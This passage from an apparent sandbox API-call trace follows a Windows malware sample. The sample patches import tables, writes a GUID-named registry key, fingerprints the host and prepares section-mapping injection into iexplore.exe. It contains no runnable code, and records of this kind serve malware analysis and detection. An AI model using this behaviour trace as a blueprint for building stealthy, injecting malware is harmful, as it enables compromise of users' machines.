returned -1 [0079.587] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.587] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.587] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.587] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0079.587] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2031000 | out: hHeap=0x2020000) returned 1 [0079.587] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.587] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.587] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031000 [0079.587] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.587] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.587] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.587] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.588] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.588] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0079.588] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0079.588] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0079.588] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.588] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0079.588] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2031000 | out: hHeap=0x2020000) returned 1 [0079.588] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.588] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.588] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031000 [0079.588] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.588] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.588] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.588] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.588] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.588] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.588] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.588] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.588] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.588] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x20) returned 1 [0079.647] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.647] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.647] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.647] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031070 [0079.647] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.647] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.647] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.647] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.647] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.647] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.648] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2031070 | out: hHeap=0x2020000) returned 1 [0079.648] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ee30 | out: hHeap=0x2020000) returned 1 [0079.648] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020da0 | out: hHeap=0x2020000) returned 1 [0079.648] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyA") returned 0x7fefd71d6d0 [0079.648] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x27ee40 | out: phkResult=0x27ee40*=0xe8) returned 0x0 [0079.648] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegQueryValueExA") returned 0x7fefd72c480 [0079.648] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x27edd0, lpData=0x0, lpcbData=0x27ee30*=0x0 | out: lpType=0x27edd0*=0x3, lpData=0x0, lpcbData=0x27ee30*=0x2c) returned 0x0 [0079.648] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2c) returned 0x241ff90 [0079.648] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x27edd0, lpData=0x241ff90, lpcbData=0x27ee30*=0x2c | out: lpType=0x27edd0*=0x3, lpData=0x241ff90*, lpcbData=0x27ee30*=0x2c) returned 0x0 [0079.648] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCloseKey") returned 0x7fefd730710 [0079.648] RegCloseKey (hKey=0xe8) returned 0x0 [0079.648] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ff90 | out: hHeap=0x2020000) returned 1 [0079.649] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x27edc0 | out: phkResult=0x27edc0*=0x0) returned 0x2 [0079.649] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCreateKeyA") returned 0x7fefd717c50 [0079.649] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x27ee70 | out: phkResult=0x27ee70*=0xe8) returned 0x0 [0079.649] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x27ee68, lpData=0x1e07ba0, lpcbData=0x27ee60*=0x2c | out: lpType=0x27ee68*=0x3, lpData=0x1e07ba0*, lpcbData=0x27ee60*=0x2c) returned 0x0 [0079.649] RegCloseKey (hKey=0xe8) returned 0x0 [0079.649] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241ff90 [0079.649] wsprintfA (in: param_1=0x241ff90, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0079.649] GetComputerNameA (in: lpBuffer=0x27ed50, nSize=0x27ee60 | out: lpBuffer="YKYD69Q", nSize=0x27ee60) returned 1 [0079.649] lstrlenA (lpString="YKYD69Q") returned 7 [0079.649] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyExA") returned 0x7fefd72b5f0 [0079.649] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x27ed40 | out: phkResult=0x27ed40*=0xe8) returned 0x0 [0079.649] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x27ed50, lpcbData=0x27ee60*=0x100 | out: lpType=0x0, lpData=0x27ed50*=0x30, lpcbData=0x27ee60*=0x18) returned 0x0 [0079.649] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0079.649] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x27ed50, lpcbData=0x27ee60*=0x100 | out: lpType=0x0, lpData=0x27ed50*=0x57, lpcbData=0x27ee60*=0x17) returned 0x0 [0079.650] lstrlenA (lpString="Windows 7 Professional") returned 22 [0079.650] RegQueryValueExA (in: hKey=0xe8, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x27ed50, lpcbData=0x27ee60*=0x100 | out: lpType=0x0, lpData=0x27ed50*=0x36, lpcbData=0x27ee60*=0x4) returned 0x0 [0079.650] lstrlenA (lpString="6.1") returned 3 [0079.650] RegQueryValueExA (in: hKey=0xe8, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x27ed48, lpcbData=0x27ee60*=0x4 | out: lpType=0x0, lpData=0x27ed48*=0x8a, lpcbData=0x27ee60*=0x4) returned 0x0 [0079.650] RegCloseKey (hKey=0xe8) returned 0x0 [0079.650] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x27ee78, lpMaximumComponentLength=0x27ee60, lpFileSystemFlags=0x27ee70, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x27ee78*=0x705ba84c, lpMaximumComponentLength=0x27ee60*=0xff, lpFileSystemFlags=0x27ee70*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0079.650] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x30) returned 0x2020da0 [0079.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1dbbf48, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x27eea0 | out: lpThreadId=0x27eea0*=0xbe8) returned 0xe8 [0079.651] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x27eeb0 | out: phkResult=0x27eeb0*=0xec) returned 0x0 [0079.651] RegQueryValueExA (in: hKey=0xec, lpValueName="Scr", lpReserved=0x0, lpType=0x27ee30, lpData=0x0, lpcbData=0x27ef18*=0xffffffff | out: lpType=0x27ee30*=0x0, lpData=0x0, lpcbData=0x27ef18*=0x0) returned 0x2 [0079.651] RegCloseKey (hKey=0xec) returned 0x0 [0079.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1da7770, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x27eea0 | out: lpThreadId=0x27eea0*=0xbec) returned 0xec [0079.652] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.652] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.652] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.652] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef9a10000 [0079.652] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.652] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.652] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.652] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.652] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0079.653] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.653] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.653] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.653] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0079.653] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.653] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.654] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.654] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.654] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.654] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.654] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0079.654] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.654] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.654] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.655] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.655] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.656] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.656] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.656] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.656] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.656] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.656] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.704] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.704] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\chrome_watcher.dll", hFile=0x0, dwFlags=0x8) returned 0x7feeed90000 [0079.854] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.855] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.855] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.855] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef9a10000 [0079.855] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.855] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.855] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.855] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.855] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0079.856] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.856] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.856] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.856] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0079.856] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.858] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.858] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.858] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.858] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.858] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.858] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0079.858] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.859] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.859] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.874] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.874] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.878] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.878] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.878] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.878] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.878] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.878] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0079.878] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.884] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.884] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0079.892] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.901] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.901] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0079.901] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.904] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.904] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0079.904] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.904] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0079.904] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0079.904] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0118.325] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0118.325] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 Thread: id = 94 os_tid = 0xbe8 [0079.687] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0xf8 [0079.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x28ffe80*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 95 os_tid = 0xbec [0079.688] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x104 [0079.688] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x108 [0079.688] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x10c [0079.688] SetLastError (dwErrCode=0xb7) [0079.688] CreateEventA (lpEventAttributes=0x1e08880, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x110 [0079.688] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x114 [0079.688] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x118 [0079.688] SetLastError (dwErrCode=0xb7) [0079.688] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x11c [0079.688] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x120 [0079.688] SetLastError (dwErrCode=0xb7) [0079.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2affd48*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.927] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x188 [0095.927] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2affd48*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 97 os_tid = 0xbf4 Process: id = "11" image_name = "iexplore.exe" filename = "c:\\program files (x86)\\internet explorer\\iexplore.exe" page_root = "0x7b0a7000" os_pid = "0x130" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xb54" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" SCODEF:2900 CREDAT:14337" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 103 os_tid = 0x7d8 [0081.708] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x37fe70 | out: BaseAddress=0x37fe70*=0x77340000) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735f9d0) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fc10) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x773610b0) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fb98) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735ff94) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fc70) returned 0x0 [0081.708] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x37fe6c | out: ProcedureAddress=0x37fe6c*=0x7735fc40) returned 0x0 [0081.708] LdrGetProcedureAddress (in: 